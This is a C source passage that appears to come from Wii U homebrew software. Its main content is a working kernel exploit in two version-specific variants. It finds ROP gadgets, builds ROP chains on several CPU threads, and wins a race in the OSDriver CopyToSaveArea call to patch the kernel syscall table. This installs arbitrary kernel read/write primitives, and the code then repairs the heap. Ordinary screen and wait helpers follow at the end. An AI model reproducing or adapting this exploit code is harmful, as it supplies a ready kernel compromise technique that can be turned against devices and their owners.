void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
|
||||
void exitOSScreen(unsigned int coreinit_handle);
|
||||
void callSysExit(unsigned int coreinit_handle, void *sysFunc);
|
||||
|
||||
#if (VER >= 532)
|
||||
/* Initial setup code stolen from Pong, makes race much more reliable */
|
||||
void run_kexploit(private_data_t *private_data)
|
||||
{
|
||||
/* Get a handle to coreinit.rpl and gx2.rpl */
|
||||
unsigned int coreinit_handle = private_data->coreinit_handle;
|
||||
unsigned int gx2_handle = 0;
|
||||
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
|
||||
|
||||
//needed to not destroy screen
|
||||
doBrowserShutdown(coreinit_handle);
|
||||
|
||||
/* Exit functions */
|
||||
void (*__PPCExit)();
|
||||
void (*_Exit)(int);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
|
||||
|
||||
/* Memory functions */
|
||||
void (*DCFlushRange)(void *buffer, uint32_t length);
|
||||
void (*DCInvalidateRange)(void *buffer, uint32_t length);
|
||||
void (*DCTouchRange)(void *buffer, uint32_t length);
|
||||
uint32_t (*OSEffectiveToPhysical)(void *vaddr);
|
||||
void* (*OSAllocFromSystem)(uint32_t size, int align);
|
||||
void (*OSFreeToSystem)(void *ptr);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
|
||||
|
||||
/* OS thread functions */
|
||||
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int priority, uint16_t attr);
|
||||
int (*OSResumeThread)(void *thread);
|
||||
void (*OSExitThread)();
|
||||
int (*OSIsThreadTerminated)(void *thread);
|
||||
void (*OSYieldThread)(void);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
|
||||
|
||||
/* OSDriver functions */
|
||||
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
|
||||
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
|
||||
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
|
||||
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
|
||||
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
|
||||
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
|
||||
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
|
||||
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
|
||||
|
||||
/* GX2 functions */
|
||||
void (*GX2SetSemaphore)(uint64_t *sem, int action);
|
||||
void (*GX2Flush)(void);
|
||||
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
|
||||
OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush);
|
||||
|
||||
/* Allocate space for DRVHAX */
|
||||
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);
|
||||
|
||||
/* Set the kernel heap metadata entry */
|
||||
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
|
||||
metadata[0] = (uint32_t)drvhax;
|
||||
metadata[1] = (uint32_t)-0x4c;
|
||||
metadata[2] = (uint32_t)-1;
|
||||
metadata[3] = (uint32_t)-1;
|
||||
|
||||
/* Find some gadgets */
|
||||
uint32_t gx2data[] = {0xfc2a0000};
|
||||
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
|
||||
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
|
||||
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000);
|
||||
uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020};
|
||||
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000);
|
||||
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
|
||||
uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18;
|
||||
|
||||
/* Modify a next ptr on the heap */
|
||||
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
|
||||
|
||||
/* Make a thread to modify the semaphore */
|
||||
OSContext *thread = (OSContext*)private_data->MEMAllocFromDefaultHeapEx(0x1000, 8);
|
||||
uint32_t *stack = (uint32_t*)private_data->MEMAllocFromDefaultHeapEx(0xA0, 0x20);
|
||||
if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) OSFatal("Failed to create thread");
|
||||
|
||||
/* Set up the ROP chain */
|
||||
thread->gpr[1] = (uint32_t)stack;
|
||||
thread->gpr[3] = kpaddr;
|
||||
thread->gpr[30] = gx2data_addr;
|
||||
thread->gpr[31] = 1;
|
||||
thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C;
|
||||
|
||||
stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */
|
||||
stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */
|
||||
stack[0x2c/4] = 1; /* r31 = 1 (signal) */
|
||||
|
||||
stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */
|
||||
stack[0x38/4] = kpaddr;
|
||||
|
||||
stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */
|
||||
|
||||
stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */
|
||||
stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */
|
||||
stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */
|
||||
|
||||
stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */
|
||||
|
||||
stack[0x94/4] = (uint32_t)OSExitThread;
|
||||
|
||||
DCFlushRange(thread, 0x1000);
|
||||
DCFlushRange(stack, 0x1000);
|
||||
|
||||
/* Start the thread */
|
||||
OSResumeThread(thread);
|
||||
|
||||
/* Wait for a while */
|
||||
while(OSIsThreadTerminated(thread) == 0)
|
||||
{
|
||||
OSYieldThread();
|
||||
}
|
||||
|
||||
/* Free stuff */
|
||||
private_data->MEMFreeToDefaultHeap(thread);
|
||||
private_data->MEMFreeToDefaultHeap(stack);
|
||||
|
||||
/* Register a new OSDriver, DRVHAX */
|
||||
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
|
||||
Register(drvname, 6, NULL, NULL);
|
||||
|
||||
/* Modify its save area to point to the kernel syscall table */
|
||||
drvhax[0x44/4] = KERN_SYSCALL_TBL + (0x34 * 4);
|
||||
|
||||
/* Use DRVHAX to install the read and write syscalls */
|
||||
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
|
||||
CopyToSaveArea(drvname, 6, syscalls, 8);
|
||||
|
||||
/* Clean up the heap and driver list so we can exit */
|
||||
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
|
||||
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
|
||||
|
||||
/* Modify the kernel address table and exit */
|
||||
//kern_write(KERN_ADDRESS_TBL + 0x12, 0x31000000);
|
||||
//kern_write(KERN_ADDRESS_TBL + 0x13, 0x28305800);
|
||||
}
|
||||
|
||||
#else
|
||||
typedef struct
|
||||
{
|
||||
char *drvb_name;
|
||||
void *copy_payload;
|
||||
void *thread0;
|
||||
void *thread2;
|
||||
uint32_t *rop0;
|
||||
uint32_t *rop2;
|
||||
|
||||
void (*OSYieldThread)(void);
|
||||
int32_t (*OSResumeThread)(void * thread);
|
||||
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);
|
||||
} thread_data_container_t;
|
||||
|
||||
static void thread_callback(int argc, void *argv)
|
||||
{
|
||||
thread_data_container_t *container = (thread_data_container_t*)argv;
|
||||
|
||||
container->OSYieldThread();
|
||||
|
||||
/* Schedule both threads for execution */
|
||||
container->OSResumeThread(container->thread0);
|
||||
container->OSResumeThread(container->thread2);
|
||||
|
||||
/* Signal the CPU0 and CPU2 threads to begin */
|
||||
container->rop0[0x1fc/4] = 0;
|
||||
container->rop2[0x1ac/4] = 0;
|
||||
|
||||
container->OSYieldThread();
|
||||
|
||||
container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000);
|
||||
}
|
||||
|
||||
|
||||
/* Initial setup code stolen from Pong, makes race much more reliable */
|
||||
void run_kexploit(private_data_t *private_data)
|
||||
{
|
||||
unsigned int coreinit_handle, sysapp_handle;
|
||||
OSDynLoad_Acquire("coreinit", &coreinit_handle);
|
||||
OSDynLoad_Acquire("sysapp", &sysapp_handle);
|
||||
//needed to not destroy screen
|
||||
doBrowserShutdown(coreinit_handle);
|
||||
//prints out first message as well
|
||||
setupOSScreen(coreinit_handle);
|
||||
|
||||
if(KERN_SYSCALL_TBL == 0)
|
||||
{
|
||||
printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1);
|
||||
wait(coreinit_handle, 0x3FFFF);
|
||||
exitOSScreen(coreinit_handle);
|
||||
}
|
||||
|
||||
//OS Memory functions
|
||||
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
|
||||
void*(*memcpy)(void *dest, void *src, uint32_t length);
|
||||
void*(*OSAllocFromSystem)(uint32_t size, int align);
|
||||
void (*OSFreeToSystem)(void *ptr);
|
||||
void (*DCFlushRange)(void *buffer, uint32_t length);
|
||||
void (*DCInvalidateRange)(void *buffer, uint32_t length);
|
||||
void (*ICInvalidateRange)(void *buffer, uint32_t length);
|
||||
|
||||
/* OS thread functions */
|
||||
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
|
||||
int32_t (*OSResumeThread)(void *thread);
|
||||
int32_t (*OSGetThreadPriority)(void *thread);
|
||||
void * (*OSGetCurrentThread)(void);
|
||||
void (*OSYieldThread)(void);
|
||||
int (*OSIsThreadTerminated)(void *thread);
|
||||
|
||||
/* Exit functions */
|
||||
void (*__PPCExit)();
|
||||
void (*_Exit)();
|
||||
|
||||
int(*SYSSwitchToBrowser)(void *args);
|
||||
int(*SYSLaunchSettings)(void *args);
|
||||
|
||||
/* Read the addresses of the functions */
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
|
||||
|
||||
OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser);
|
||||
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings);
|
||||
|
||||
/* Allocate a stack for the threads */
|
||||
uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
||||
uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
||||
uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
||||
|
||||
/* Create the threads */
|
||||
void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
||||
bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8);
|
||||
void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
||||
bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8);
|
||||
void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
||||
if (ret0 == false || ret2 == false)
|
||||
{
|
||||
printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1);
|
||||
wait(coreinit_handle, 0x3FFFF);
|
||||
exitOSScreen(coreinit_handle);
|
||||
}
|
||||
|
||||
printOSScreenMsg(coreinit_handle, "Running Exploit...",1);
|
||||
|
||||
/* Find a bunch of gadgets */
|
||||
uint32_t sleep_addr;
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr);
|
||||
sleep_addr += 0x44;
|
||||
uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020};
|
||||
uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit);
|
||||
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
|
||||
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit);
|
||||
uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020};
|
||||
uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit);
|
||||
uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};
|
||||
uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit);
|
||||
uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};
|
||||
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit);
|
||||
|
||||
/* Find the OSDriver functions */
|
||||
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
|
||||
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
|
||||
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
|
||||
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
|
||||
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
|
||||
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
|
||||
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
|
||||
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
|
||||
|
||||
/* Set up the ROP chain for CPU0 */
|
||||
OSContext *ctx0 = (OSContext*) thread0;
|
||||
uint32_t *rop0 = (uint32_t*) stack0;
|
||||
ctx0->gpr[1] = stack0 + 0x80;
|
||||
ctx0->gpr[28] = 0;
|
||||
ctx0->gpr[29] = CPU0_WAIT_TIME * 2;
|
||||
ctx0->gpr[31] = stack0 + 0x1f8;
|
||||
ctx0->srr0 = sigwait_addr + 0xc;
|
||||
rop0[0x94/4] = sleep_addr;
|
||||
rop0[0x114/4] = r3r4load_addr;
|
||||
rop0[0x118/4] = stack0 + 0x208;
|
||||
rop0[0x11c/4] = 4;
|
||||
rop0[0x124/4] = r30r31load_addr;
|
||||
rop0[0x14c/4] = stack0 + 0x220;
|
||||
rop0[0x154/4] = sigwait_addr;
|
||||
rop0[0x164/4] = r5load_addr;
|
||||
rop0[0x168/4] = stack0 + 0x218;
|
||||
rop0[0x174/4] = r3r4load_addr;
|
||||
rop0[0x178/4] = stack0 + 0x210;
|
||||
rop0[0x17c/4] = 4;
|
||||
rop0[0x184/4] = r30r31load_addr;
|
||||
rop0[0x1a8/4] = stack0 + 0x230;
|
||||
rop0[0x1b4/4] = r6load_addr;
|
||||
rop0[0x1c4/4] = stack0 + 0x21c;
|
||||
rop0[0x1dc/4] = stack0 + 0x228;
|
||||
rop0[0x1e4/4] = sigwait_addr;
|
||||
rop0[0x1f4/4] = sigwait_addr + 0x28;
|
||||
rop0[0x1f8/4] = sigwait_addr + 0xc;
|
||||
rop0[0x1fc/4] = stack0 + 0x1f8;
|
||||
rop0[0x200/4] = 0;
|
||||
rop0[0x204/4] = 0;
|
||||
rop0[0x208/4] = 0x44525642;
|
||||
rop0[0x20c/4] = 0;
|
||||
rop0[0x210/4] = 0x44525643;
|
||||
rop0[0x214/4] = 0;
|
||||
rop0[0x218/4] = 0;
|
||||
rop0[0x21c/4] = 0;
|
||||
rop0[0x220/4] = (uint32_t)Deregister;
|
||||
rop0[0x224/4] = 0;
|
||||
rop0[0x228/4] = (uint32_t)Register;
|
||||
rop0[0x22c/4] = 0;
|
||||
|
||||
/* Set up the ROP chain for CPU2 */
|
||||
OSContext *ctx2 = (OSContext*) thread2;
|
||||
uint32_t *rop2 = (uint32_t*) stack2;
|
||||
ctx2->gpr[1] = stack2 + 0x80;
|
||||
ctx2->gpr[28] = 0;
|
||||
ctx2->gpr[29] = CPU2_WAIT_TIME * 4;
|
||||
ctx2->gpr[31] = stack2 + 0x1a8;
|
||||
ctx2->srr0 = sigwait_addr + 0xc;
|
||||
rop2[0x94/4] = sleep_addr;
|
||||
rop2[0x114/4] = r5load_addr;
|
||||
rop2[0x118/4] = stack2 + 0x204;
|
||||
rop2[0x124/4] = r3r4load_addr;
|
||||
rop2[0x128/4] = stack2 + 0x1b8;
|
||||
rop2[0x12c/4] = 4;
|
||||
rop2[0x134/4] = r30r31load_addr;
|
||||
rop2[0x158/4] = stack2 + 0x1c8;
|
||||
rop2[0x164/4] = r6load_addr;
|
||||
rop2[0x174/4] = 4;
|
||||
rop2[0x18c/4] = stack2 + 0x1c0;
|
||||
rop2[0x194/4] = sigwait_addr;
|
||||
rop2[0x1a4/4] = sigwait_addr + 0x28;
|
||||
rop2[0x1a8/4] = sigwait_addr + 0xc;
|
||||
rop2[0x1ac/4] = stack2 + 0x1a8;
|
||||
rop2[0x1b0/4] = 0;
|
||||
rop2[0x1b4/4] = 0;
|
||||
rop2[0x1b8/4] = 0x44525641;
|
||||
rop2[0x1bc/4] = 0;
|
||||
rop2[0x1c0/4] = (uint32_t)CopyToSaveArea;
|
||||
rop2[0x1c4/4] = 0;
|
||||
rop2[0x204/4] = 0xDEADC0DE;
|
||||
|
||||
/* Register driver A and driver B */
|
||||
char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||
memcpy(drva_name, "DRVA", 5);
|
||||
char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||
memcpy(drvb_name, "DRVB", 5);
|
||||
uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL);
|
||||
if (status != 0)
|
||||
{
|
||||
printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2);
|
||||
wait(coreinit_handle, 0x3FFFF);
|
||||
callSysExit(coreinit_handle,SYSLaunchSettings);
|
||||
exitOSScreen(coreinit_handle);
|
||||
}
|
||||
|
||||
/* Generate the copy payload, which writes to syscall_table[0x34] */
|
||||
uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20);
|
||||
if (!copy_payload)
|
||||
{
|
||||
printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2);
|
||||
wait(coreinit_handle, 0x3FFFF);
|
||||
callSysExit(coreinit_handle,SYSLaunchSettings);
|
||||
exitOSScreen(coreinit_handle);
|
||||
}
|
||||
copy_payload[0] = 0x01234567;
|
||||
copy_payload[0xfb4/4] = 0x44525648;
|
||||
copy_payload[0xfb8/4] = 0x41580000;
|
||||
copy_payload[0xff4/4] = PFID_BROWSER;
|
||||
copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4);
|
||||
DCFlushRange(copy_payload, 0x1000);
|
||||
DCInvalidateRange(copy_payload, 0x1000);
|
||||
|
||||
char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||
drvhax_name[7] = 0;
|
||||
memcpy(drvhax_name, "DRVHAX", 7);
|
||||
uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
||||
syscalls[0] = KERN_CODE_READ;
|
||||
syscalls[1] = KERN_CODE_WRITE;
|
||||
|
||||
/* Do a dummy copy to put CopyToSaveArea() in our cache */
|
||||
CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4);
|
||||
|
||||
thread_data_container_t container;
|
||||
container.drvb_name = drvb_name;
|
||||
container.copy_payload = copy_payload;
|
||||
container.rop0 = rop0;
|
||||
container.rop2 = rop2;
|
||||
container.thread0 = thread0;
|
||||
container.thread2 = thread2;
|
||||
container.OSResumeThread = OSResumeThread;
|
||||
container.OSYieldThread = OSYieldThread;
|
||||
container.CopyToSaveArea = CopyToSaveArea;
|
||||
|
||||
bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8);
|
||||
|
||||
OSYieldThread();
|
||||
/* Schedule both threads for execution */
|
||||
//OSResumeThread(thread0);
|
||||
//OSResumeThread(thread2);
|
||||
OSResumeThread(thread1);
|
||||
|
||||
|
||||
/* Signal the CPU0 and CPU2 threads to begin */
|
||||
//rop2[0x1ac/4] = 0;
|
||||
//rop0[0x1fc/4] = 0;
|
||||
|
||||
/* Start copying the payload into driver B's save area */
|
||||
//CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000);
|
||||
|
||||
/* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */
|
||||
while(OSIsThreadTerminated(thread1) == 0)
|
||||
{
|
||||
asm volatile (
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
);
|
||||
|
||||
OSYieldThread();
|
||||
}
|
||||
|
||||
/* Use DRVHAX to install the read and write syscalls */
|
||||
status = CopyToSaveArea(drvhax_name, 6, syscalls, 8);
|
||||
|
||||
/* Verify that the syscalls were installed */
|
||||
uint32_t result = 42;
|
||||
status = CopyFromSaveArea(drvhax_name, 6, &result, 4);
|
||||
if (result != KERN_CODE_READ)
|
||||
{
|
||||
printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2);
|
||||
wait(coreinit_handle, 0x3FFFF);
|
||||
callSysExit(coreinit_handle,SYSLaunchSettings);
|
||||
exitOSScreen(coreinit_handle);
|
||||
}
|
||||
|
||||
/* Search the kernel heap for DRVA and DRVHAX */
|
||||
uint32_t drva_addr = 0, drvhax_addr = 0;
|
||||
uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10);
|
||||
while (metadata_addr >= KERN_HEAP + 0x14)
|
||||
{
|
||||
/* Read the data address from the metadata, then read the data */
|
||||
uint32_t data_addr = kern_read((void*)metadata_addr);
|
||||
uint32_t data = kern_read((void*)data_addr);
|
||||
|
||||
/* Check for DRVA or DRVHAX, and if both are found, break */
|
||||
if (data == 0x44525641) drva_addr = data_addr;
|
||||
else if (data == 0x44525648) drvhax_addr = data_addr;
|
||||
if (drva_addr && drvhax_addr) break;
|
||||
|
||||
/* Go to the previous metadata entry */
|
||||
metadata_addr -= 0x10;
|
||||
}
|
||||
if (!(drva_addr && drvhax_addr))
|
||||
{
|
||||
printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2);
|
||||
wait(coreinit_handle, 0x3FFFF);
|
||||
callSysExit(coreinit_handle,SYSLaunchSettings);
|
||||
exitOSScreen(coreinit_handle);
|
||||
}
|
||||
/* Make DRVHAX point to DRVA to ensure a clean exit */
|
||||
kern_write((void*)(drvhax_addr + 0x48), drva_addr);
|
||||
|
||||
private_data->MEMFreeToDefaultHeap(thread0);
|
||||
private_data->MEMFreeToDefaultHeap(thread1);
|
||||
private_data->MEMFreeToDefaultHeap(thread2);
|
||||
private_data->MEMFreeToDefaultHeap((void*)stack0);
|
||||
private_data->MEMFreeToDefaultHeap((void*)stack1);
|
||||
private_data->MEMFreeToDefaultHeap((void*)stack2);
|
||||
|
||||
//printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2);
|
||||
//wait(coreinit_handle, 0x3FFFF);
|
||||
//callSysExit(coreinit_handle,SYSSwitchToBrowser);
|
||||
//exitOSScreen(coreinit_handle);
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
void wait(unsigned int coreinit_handle, unsigned int t)
|
||||
{
|
||||
void (*OSYieldThread)(void);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
|
||||
|
||||
while(t--)
|
||||
{
|
||||
OSYieldThread();
|
||||
}
|
||||
}
|
||||
|
||||
void doBrowserShutdown(unsigned int coreinit_handle)
|
||||
{
|
||||
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
|
||||
void*(*OSAllocFromSystem)(uint32_t size, int align);
|
||||
void (*OSFreeToSystem)(void *ptr);
|
||||
|
||||
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
|
||||
int(*IM_Close)(int fd);
|
||||
int(*IM_Open)();
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
|
||||
|
||||
//Restart system to get lib access
|
||||
int fd = IM_Open();
|
||||
void *mem = OSAllocFromSystem(0x100, 64);
|
||||
memset(mem, 0, 0x100);
|
||||
//set restart flag to force quit browser
|
||||
IM_SetDeviceState(fd, mem, 3, 0, 0);
|
||||
IM_Close(fd);
|
||||
OSFreeToSystem(mem);
|
||||
//wait a bit for browser end
|
||||
wait(coreinit_handle, 0x3FFFF);
|
||||
}
|
||||
|
||||
void drawString(unsigned int coreinit_handle, int x, int y, char * string)
|
||||
{
|
||||
unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
|
||||
OSScreenPutFontEx(0, x, y, string);
|
||||
OSScreenPutFontEx(1, x, y, string);
|
||||
}
|
||||
|
||||
void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a)
|
||||
{
